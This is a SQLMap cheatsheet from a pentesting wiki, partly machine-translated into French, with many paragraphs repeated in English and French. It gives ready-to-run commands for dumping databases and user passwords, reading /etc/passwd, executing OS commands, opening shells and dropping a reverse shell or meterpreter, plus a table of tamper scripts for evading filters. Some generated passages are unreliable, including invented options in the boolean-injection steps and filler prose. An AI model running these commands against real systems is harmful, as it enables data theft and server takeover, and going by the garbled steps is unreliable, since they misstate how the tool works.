hacktricks/pentesting-web/sql-injection/sqlmap
2023-08-16 09:35:21 +00:00
..
README.md Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p 2023-08-16 09:35:21 +00:00
second-order-injection-sqlmap.md Translated to French 2023-06-03 13:10:46 +00:00

SQLMap - Cheatsheet

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference es un evento internacional de ciberseguridad avec plus d'une décennie qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org/" %}

Arguments de base pour SQLmap

Génériques

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Interne

Database
Base de données

To retrieve information from the internal database, you can use SQL injection techniques. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities.

Pour récupérer des informations de la base de données interne, vous pouvez utiliser des techniques d'injection SQL. SQLMap est un outil puissant qui automatise le processus de détection et d'exploitation des vulnérabilités d'injection SQL.

To use SQLMap, you need to provide the target URL and specify the parameters vulnerable to SQL injection. SQLMap will then analyze the target and attempt to exploit the vulnerabilities.

Pour utiliser SQLMap, vous devez fournir l'URL cible et spécifier les paramètres vulnérables à l'injection SQL. SQLMap analysera ensuite la cible et tentera d'exploiter les vulnérabilités.

Here is an example command to retrieve information from the internal database using SQLMap:

Voici un exemple de commande pour récupérer des informations de la base de données interne à l'aide de SQLMap :

sqlmap -u http://example.com/page.php?id=1 --dbs

This command tells SQLMap to target the URL http://example.com/page.php?id=1 and retrieve the list of databases (--dbs) available in the internal database.

Cette commande indique à SQLMap de cibler l'URL http://example.com/page.php?id=1 et de récupérer la liste des bases de données (--dbs) disponibles dans la base de données interne.

Once you have identified the database you want to explore, you can use SQLMap to retrieve the tables and columns within that database.

Une fois que vous avez identifié la base de données que vous souhaitez explorer, vous pouvez utiliser SQLMap pour récupérer les tables et les colonnes de cette base de données.

Here is an example command to retrieve the tables from a specific database:

Voici un exemple de commande pour récupérer les tables d'une base de données spécifique :

sqlmap -u http://example.com/page.php?id=1 -D database_name --tables

Replace database_name with the name of the database you want to explore.

Remplacez database_name par le nom de la base de données que vous souhaitez explorer.

Once you have retrieved the tables, you can further explore the database by retrieving the columns within a specific table.

Une fois que vous avez récupéré les tables, vous pouvez explorer davantage la base de données en récupérant les colonnes d'une table spécifique.

Here is an example command to retrieve the columns from a specific table:

Voici un exemple de commande pour récupérer les colonnes d'une table spécifique :

sqlmap -u http://example.com/page.php?id=1 -D database_name -T table_name --columns

Replace database_name with the name of the database and table_name with the name of the table you want to explore.

Remplacez database_name par le nom de la base de données et table_name par le nom de la table que vous souhaitez explorer.

By using SQLMap, you can easily retrieve information from the internal database and gain valuable insights for further exploitation.

En utilisant SQLMap, vous pouvez facilement récupérer des informations de la base de données interne et obtenir des informations précieuses pour une exploitation ultérieure.

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Données de la base de données

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Emplacement de l'injection

À partir de la capture Burp/ZAP

Capturez la requête et créez un fichier req.txt

sqlmap -r req.txt --current-user

Injection de requête GET

In this section, we will discuss how to perform SQL injection attacks on GET requests using SQLMap.

Dans cette section, nous discuterons de la manière d'effectuer des attaques par injection SQL sur les requêtes GET à l'aide de SQLMap.

Introduction

SQL injection is a common vulnerability that occurs when an attacker can manipulate the input parameters of a web application's SQL query. By injecting malicious SQL code, an attacker can manipulate the query's logic and potentially gain unauthorized access to the database.

L'injection SQL est une vulnérabilité courante qui se produit lorsque un attaquant peut manipuler les paramètres d'entrée d'une requête SQL d'une application web. En injectant du code SQL malveillant, un attaquant peut manipuler la logique de la requête et potentiellement accéder de manière non autorisée à la base de données.

GET requests are commonly used to retrieve data from a web server. By injecting SQL code into the parameters of a GET request, an attacker can modify the SQL query and potentially extract sensitive information from the database.

Les requêtes GET sont couramment utilisées pour récupérer des données à partir d'un serveur web. En injectant du code SQL dans les paramètres d'une requête GET, un attaquant peut modifier la requête SQL et potentiellement extraire des informations sensibles de la base de données.

Using SQLMap for GET Request Injection

SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques for injecting SQL code into different parts of a web application.

SQLMap est un outil puissant qui automatise le processus de détection et d'exploitation des vulnérabilités d'injection SQL. Il prend en charge différentes techniques pour injecter du code SQL dans différentes parties d'une application web.

To perform a SQL injection attack on a GET request using SQLMap, you need to provide the target URL and specify the vulnerable parameter. SQLMap will then analyze the target and attempt to exploit the SQL injection vulnerability.

Pour effectuer une attaque par injection SQL sur une requête GET à l'aide de SQLMap, vous devez fournir l'URL cible et spécifier le paramètre vulnérable. SQLMap analysera ensuite la cible et tentera d'exploiter la vulnérabilité d'injection SQL.

Here is an example command to perform a SQL injection attack on a GET request using SQLMap:

Voici une commande exemple pour effectuer une attaque par injection SQL sur une requête GET à l'aide de SQLMap :

sqlmap -u "http://example.com/page.php?id=1" -p "id"

In this command, -u specifies the target URL, and -p specifies the vulnerable parameter. SQLMap will automatically detect the SQL injection vulnerability and attempt to exploit it.

Dans cette commande, -u spécifie l'URL cible et -p spécifie le paramètre vulnérable. SQLMap détectera automatiquement la vulnérabilité d'injection SQL et tentera de l'exploiter.

Conclusion

Performing SQL injection attacks on GET requests can be a powerful technique for exploiting vulnerabilities in web applications. By understanding how to use tools like SQLMap, you can effectively identify and exploit SQL injection vulnerabilities, helping to secure web applications against potential attacks.

Effectuer des attaques par injection SQL sur des requêtes GET peut être une technique puissante pour exploiter les vulnérabilités des applications web. En comprenant comment utiliser des outils comme SQLMap, vous pouvez identifier et exploiter efficacement les vulnérabilités d'injection SQL, contribuant ainsi à sécuriser les applications web contre d'éventuelles attaques.

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST

When performing a penetration test, it is common to encounter web applications that use POST requests to send data to the server. In some cases, these POST requests may be vulnerable to SQL injection attacks. SQLMap is a powerful tool that can be used to automate the process of identifying and exploiting SQL injection vulnerabilities in POST requests.

Lors de l'exécution d'un test de pénétration, il est courant de rencontrer des applications web qui utilisent des requêtes POST pour envoyer des données au serveur. Dans certains cas, ces requêtes POST peuvent être vulnérables aux attaques par injection SQL. SQLMap est un outil puissant qui peut être utilisé pour automatiser le processus d'identification et d'exploitation des vulnérabilités d'injection SQL dans les requêtes POST.

To use SQLMap with POST requests, you will need to capture the request using a proxy tool such as Burp Suite or OWASP ZAP. Once you have captured the request, you can save it to a file and then use SQLMap to analyze and exploit any SQL injection vulnerabilities.

Pour utiliser SQLMap avec des requêtes POST, vous devrez capturer la requête à l'aide d'un outil de proxy tel que Burp Suite ou OWASP ZAP. Une fois que vous avez capturé la requête, vous pouvez l'enregistrer dans un fichier, puis utiliser SQLMap pour analyser et exploiter les éventuelles vulnérabilités d'injection SQL.

To specify a POST request in SQLMap, you can use the -r option followed by the path to the file containing the request. SQLMap will then analyze the request and attempt to identify any SQL injection vulnerabilities.

Pour spécifier une requête POST dans SQLMap, vous pouvez utiliser l'option -r suivie du chemin vers le fichier contenant la requête. SQLMap analysera ensuite la requête et tentera d'identifier les éventuelles vulnérabilités d'injection SQL.

sqlmap -r /path/to/request.txt

Once SQLMap has identified a SQL injection vulnerability, you can use various options and techniques to exploit it. SQLMap can automatically retrieve database information, dump tables, and even execute operating system commands on the server.

Une fois que SQLMap a identifié une vulnérabilité d'injection SQL, vous pouvez utiliser différentes options et techniques pour l'exploiter. SQLMap peut automatiquement récupérer des informations sur la base de données, extraire des tables et même exécuter des commandes du système d'exploitation sur le serveur.

It is important to note that SQL injection attacks can be highly destructive and can lead to data breaches or unauthorized access to sensitive information. Therefore, it is crucial to obtain proper authorization and perform penetration testing only on systems that you have permission to test.

Il est important de noter que les attaques par injection SQL peuvent être très destructrices et peuvent entraîner des violations de données ou un accès non autorisé à des informations sensibles. Par conséquent, il est crucial d'obtenir une autorisation appropriée et de réaliser des tests de pénétration uniquement sur des systèmes pour lesquels vous avez la permission de tester.

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

When performing a web application penetration test, it is important to thoroughly test for vulnerabilities in not only the request parameters but also in the headers and other HTTP methods. Attackers can exploit these areas to perform various types of injections, including SQL injection, command injection, and OS command injection.

SQL Injection

SQL injection occurs when an attacker is able to manipulate the SQL query being executed by the application. This can happen when user-supplied input is not properly validated or sanitized before being included in the query. By injecting malicious SQL code, an attacker can manipulate the query to perform unauthorized actions, such as extracting sensitive information from the database or modifying its contents.

To test for SQL injection in headers and other HTTP methods, tools like SQLMap can be used. SQLMap is a powerful open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques, such as time-based blind SQL injection and error-based SQL injection.

Command Injection

Command injection occurs when an attacker is able to execute arbitrary commands on the underlying operating system. This can happen when user-supplied input is passed to a system command without proper validation or sanitization. By injecting malicious commands, an attacker can execute arbitrary code, gain unauthorized access, or perform other malicious activities.

To test for command injection in headers and other HTTP methods, tools like SQLMap can also be used. SQLMap supports command injection testing by allowing the execution of arbitrary commands through the injection point.

OS Command Injection

OS command injection is similar to command injection, but it specifically targets the underlying operating system. By injecting malicious commands, an attacker can execute arbitrary commands on the operating system, potentially gaining full control over the system.

To test for OS command injection in headers and other HTTP methods, tools like SQLMap can be utilized. SQLMap supports OS command injection testing by allowing the execution of arbitrary commands on the underlying operating system.

It is important to thoroughly test for injections in headers and other HTTP methods during a web application penetration test to ensure the security of the application. By identifying and fixing these vulnerabilities, the risk of unauthorized access and data leakage can be significantly reduced.

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indiquer la chaîne lorsque l'injection est réussie

Lorsque l'injection SQL est réussie, vous pouvez utiliser l'option --string pour indiquer une chaîne spécifique qui apparaît dans la réponse de la requête. Cela peut être utile pour confirmer que l'injection a été effectuée avec succès.

Par exemple, si vous savez qu'une injection réussie affiche la chaîne "Bienvenue", vous pouvez utiliser la commande suivante :

sqlmap -u "http://example.com/page.php?id=1" --string="Bienvenue"

Cela permettra à sqlmap de rechercher la chaîne "Bienvenue" dans la réponse de la requête et de confirmer que l'injection a été réussie si elle est présente.

--string="string_showed_when_TRUE"

Eval

Sqlmap permet d'utiliser l'option -e ou --eval pour traiter chaque charge utile avant de l'envoyer avec une ligne de code python. Cela facilite et accélère le traitement personnalisé de la charge utile avant de l'envoyer. Dans l'exemple suivant, la session cookie flask est signée par flask avec le secret connu avant de l'envoyer :

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

Le shell est un programme informatique qui permet à l'utilisateur d'interagir avec le système d'exploitation. Il fournit une interface en ligne de commande pour exécuter des commandes et des scripts. Le shell est un outil essentiel pour les hackers, car il leur permet d'exécuter des commandes et d'accéder aux fonctionnalités du système d'exploitation. Il existe différents types de shell, tels que Bash, PowerShell et Zsh, qui offrent des fonctionnalités avancées et des options de personnalisation. Les hackers utilisent souvent le shell pour exécuter des commandes de piratage, telles que l'injection SQL, l'exploitation de vulnérabilités et la récupération de données sensibles.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Lire un fichier

To read a file using SQL injection, you can use the LOAD_FILE() function in MySQL. This function allows you to read the contents of a file on the server.

To use LOAD_FILE(), you need to provide the path to the file you want to read. The path should be an absolute path, starting from the root directory of the server.

Here is an example of how to use LOAD_FILE() to read a file:

SELECT LOAD_FILE('/path/to/file.txt');

Replace /path/to/file.txt with the actual path to the file you want to read.

Keep in mind that the MySQL user executing the query needs to have the necessary permissions to access the file. If the user doesn't have the required permissions, the LOAD_FILE() function will return NULL.

It's important to note that reading files using SQL injection can be illegal and unethical if done without proper authorization. Always ensure that you have the necessary permissions and legal authorization before attempting any file reading operations.

--file-read=/etc/passwd

Parcourir un site web avec SQLmap et auto-exploiter

SQLmap est un outil puissant utilisé pour détecter et exploiter les vulnérabilités d'injection SQL dans les applications web. Il peut être utilisé pour automatiser le processus de découverte et d'exploitation des failles de sécurité liées à l'injection SQL.

Pour parcourir un site web avec SQLmap et exploiter automatiquement les vulnérabilités, suivez les étapes suivantes :

  1. Analyse du site web : Utilisez la commande suivante pour analyser le site web cible et détecter les vulnérabilités d'injection SQL :

    sqlmap -u <URL> --crawl=3 --batch
    

    Assurez-vous de remplacer <URL> par l'URL du site web que vous souhaitez analyser. L'option --crawl=3 permet à SQLmap de parcourir jusqu'à 3 niveaux de profondeur pour trouver des liens et des formulaires à analyser. L'option --batch permet d'exécuter SQLmap en mode non interactif.

  2. Exploitation automatique : Une fois que SQLmap a terminé l'analyse du site web, vous pouvez utiliser la commande suivante pour exploiter automatiquement les vulnérabilités d'injection SQL détectées :

    sqlmap -u <URL> --crawl=3 --batch --dump-all
    

    Cette commande exécute SQLmap en mode non interactif et utilise l'option --dump-all pour extraire toutes les données de la base de données vulnérable.

    Assurez-vous de remplacer <URL> par l'URL du site web cible.

  3. Analyse des résultats : Une fois que SQLmap a terminé l'exploitation automatique, vous pouvez analyser les résultats pour trouver les informations sensibles extraites de la base de données vulnérable.

    Les résultats seront affichés dans le répertoire de travail actuel, dans un fichier nommé dump.csv.

En suivant ces étapes, vous pourrez utiliser SQLmap pour parcourir un site web, détecter les vulnérabilités d'injection SQL et exploiter automatiquement ces failles pour extraire des informations sensibles de la base de données.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection de second ordre

Second Order Injection is a technique where an attacker injects malicious code into a web application that is stored in a database or other persistent storage. This code is then executed when the application retrieves and uses the stored data.

La Injection de second ordre est une technique où un attaquant injecte du code malveillant dans une application web qui est stockée dans une base de données ou autre support de stockage persistant. Ce code est ensuite exécuté lorsque l'application récupère et utilise les données stockées.

This type of injection can be more difficult to detect and exploit compared to traditional SQL injection, as the malicious code is not executed immediately upon injection. Instead, it is executed at a later time when the application retrieves the stored data.

Ce type d'injection peut être plus difficile à détecter et à exploiter par rapport à l'injection SQL traditionnelle, car le code malveillant n'est pas exécuté immédiatement après l'injection. Au lieu de cela, il est exécuté ultérieurement lorsque l'application récupère les données stockées.

To exploit a second order injection vulnerability, an attacker typically needs to find a way to store their malicious code in the application's database or other persistent storage. This can be achieved through various means, such as submitting user input that is not properly sanitized or leveraging other vulnerabilities in the application.

Pour exploiter une vulnérabilité d'injection de second ordre, un attaquant doit généralement trouver un moyen de stocker son code malveillant dans la base de données de l'application ou autre support de stockage persistant. Cela peut être réalisé de différentes manières, telles que la soumission d'une entrée utilisateur qui n'est pas correctement désinfectée ou en exploitant d'autres vulnérabilités de l'application.

Once the malicious code is stored, it can be triggered when the application retrieves and uses the stored data. This can lead to various types of attacks, such as remote code execution, data manipulation, or privilege escalation.

Une fois que le code malveillant est stocké, il peut être déclenché lorsque l'application récupère et utilise les données stockées. Cela peut entraîner différents types d'attaques, telles que l'exécution de code à distance, la manipulation de données ou l'escalade de privilèges.

To prevent second order injection attacks, it is important to properly sanitize and validate all user input before storing it in the application's database or other persistent storage. Additionally, regular security testing and code reviews can help identify and mitigate potential vulnerabilities.

Pour prévenir les attaques d'injection de second ordre, il est important de désinfecter et de valider correctement toutes les entrées utilisateur avant de les stocker dans la base de données de l'application ou autre support de stockage persistant. De plus, des tests de sécurité réguliers et des examens de code peuvent aider à identifier et à atténuer les vulnérabilités potentielles.

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lisez cet article sur la façon d'effectuer des injections de second ordre simples et complexes avec sqlmap.

Laboratoires pour s'entraîner

  • Apprenez à utiliser sqlmap en l'utilisant dans la salle THM:

{% embed url="https://tryhackme.com/room/sqlmap" %}

Personnalisation de l'injection

Définir un suffixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver une injection booléenne


Description

La technique d'injection booléenne est une méthode couramment utilisée pour exploiter les vulnérabilités de sécurité dans les applications web. Elle consiste à manipuler les requêtes SQL en insérant des expressions booléennes afin de déterminer si une condition est vraie ou fausse.

L'outil sqlmap est un outil de test d'injection SQL automatisé qui peut être utilisé pour détecter et exploiter les vulnérabilités d'injection SQL, y compris les injections booléennes.

Utilisation de sqlmap pour trouver une injection booléenne

Pour utiliser sqlmap afin de trouver une injection booléenne, suivez les étapes suivantes :

  1. Lancez sqlmap en spécifiant l'URL de la cible :

    sqlmap -u <URL de la cible>
    
  2. Utilisez l'option --dbs pour extraire les noms des bases de données :

    sqlmap -u <URL de la cible> --dbs
    
  3. Sélectionnez la base de données cible en utilisant l'option --db :

    sqlmap -u <URL de la cible> --db=<nom de la base de données>
    
  4. Utilisez l'option --tables pour extraire les noms des tables de la base de données cible :

    sqlmap -u <URL de la cible> --db=<nom de la base de données> --tables
    
  5. Sélectionnez la table cible en utilisant l'option --table :

    sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table>
    
  6. Utilisez l'option --columns pour extraire les noms des colonnes de la table cible :

    sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table> --columns
    
  7. Sélectionnez les colonnes cibles en utilisant l'option --dump :

    sqlmap -u <URL de la cible> --db=<nom de la base de données> --table=<nom de la table> --columns=<noms des colonnes> --dump
    
  8. sqlmap affichera les données extraites de la base de données cible, y compris les éventuelles informations sensibles.


Pour plus d'informations sur l'utilisation de sqlmap, consultez la documentation officielle : https://github.com/sqlmapproject/sqlmap/wiki

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Altérer

Rappelez-vous que vous pouvez créer votre propre altération en python et c'est très simple. Vous pouvez trouver un exemple d'altération dans la page d'injection de second ordre ici.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Remplace le caractère apostrophe par son homologue en pleine largeur UTF-8
apostrophenullencode.py Remplace le caractère apostrophe par son homologue double unicode illégal
appendnullbyte.py Ajoute un caractère NULL encodé à la fin de la charge utile
base64encode.py Encode en base64 tous les caractères d'une charge utile donnée
between.py Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #'
bluecoat.py Remplace l'espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE
chardoubleencode.py Double l'encodage URL de tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés)
commalesslimit.py Remplace les occurrences de 'LIMIT M, N' par 'LIMIT N OFFSET M'
commalessmid.py Remplace les occurrences de 'MID(A, B, C)' par 'MID(A FROM B FOR C)'
concat2concatws.py Remplace les occurrences de 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Encode en URL tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés)
charunicodeencode.py Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "%u0022"
charunicodeescape.py Encode en URL Unicode les caractères non encodés d'une charge utile donnée (sans traiter ceux déjà encodés). "\u0022"
equaltolike.py Remplace toutes les occurrences de l'opérateur égal ('=') par l'opérateur 'LIKE'
escapequotes.py Échappe les guillemets (' et ")
greatest.py Remplace l'opérateur supérieur ('>') par son homologue 'GREATEST'
halfversionedmorekeywords.py Ajoute un commentaire MySQL versionné avant chaque mot-clé
ifnull2ifisnull.py Remplace les occurrences de 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Encadre la requête complète avec un commentaire versionné
modsecurityzeroversioned.py Encadre la requête complète avec un commentaire de version zéro
multiplespaces.py Ajoute plusieurs espaces autour des mots-clés SQL
nonrecursivereplacement.py Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (par exemple, .replace("SELECT", "")) filtres
percentage.py Ajoute un signe de pourcentage ('%') devant chaque caractère
overlongutf8.py Convertit tous les caractères d'une charge utile donnée (sans traiter ceux déjà encodés)
randomcase.py Remplace chaque caractère de mot-clé par une valeur de casse aléatoire
randomcomments.py Ajoute des commentaires aléatoires aux mots-clés SQL
securesphere.py Ajoute une chaîne spécialement conçue
sp_password.py Ajoute 'sp_password' à la fin de la charge utile pour l'obfuscation automatique des journaux du DBMS
space2comment.py Remplace l'espace (' ') par des commentaires
space2dash.py Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n')
space2hash.py Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n')
space2morehash.py Remplace l'espace (' ') par un caractère dièse ('#') suivi d'une chaîne aléatoire et d'un saut de ligne ('\n')
space2mssqlblank.py Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs
space2mssqlhash.py Remplace l'espace (' ') par un caractère dièse ('#') suivi d'un saut de ligne ('\n')
space2mysqlblank.py Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs
space2mysqldash.py Remplace l'espace (' ') par un commentaire de tiret ('--') suivi d'un saut de ligne ('\n')
space2plus.py Remplace l'espace (' ') par un signe plus ('+')
space2randomblank.py Remplace l'espace (' ') par un caractère vide aléatoire issu d'un ensemble valide de caractères alternatifs
symboliclogical.py Remplace les opérateurs logiques AND et OR par leurs homologues symboliques (&& et
unionalltounion.py Remplace UNION ALL SELECT par UNION SELECT
unmagicquotes.py Remplace le caractère de citation (') par une combinaison multioctet %bf%27 avec un commentaire générique à la fin (pour le faire fonctionner)
uppercase.py Remplace chaque caractère de mot-clé par la valeur en majuscule 'INSERT'
varnish.py Ajoute un en-tête HTTP 'X-originating-IP'
versionedkeywords.py Encadre chaque mot-clé non fonctionnel avec un commentaire MySQL versionné
versionedmorekeywords.py Encadre chaque mot-clé avec un commentaire MySQL versionné
xforwardedfor.py Ajoute un en-tête HTTP fictif 'X-Forwarded-For'

DragonJAR Security Conference es un evento internacional de ciberseguridad con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥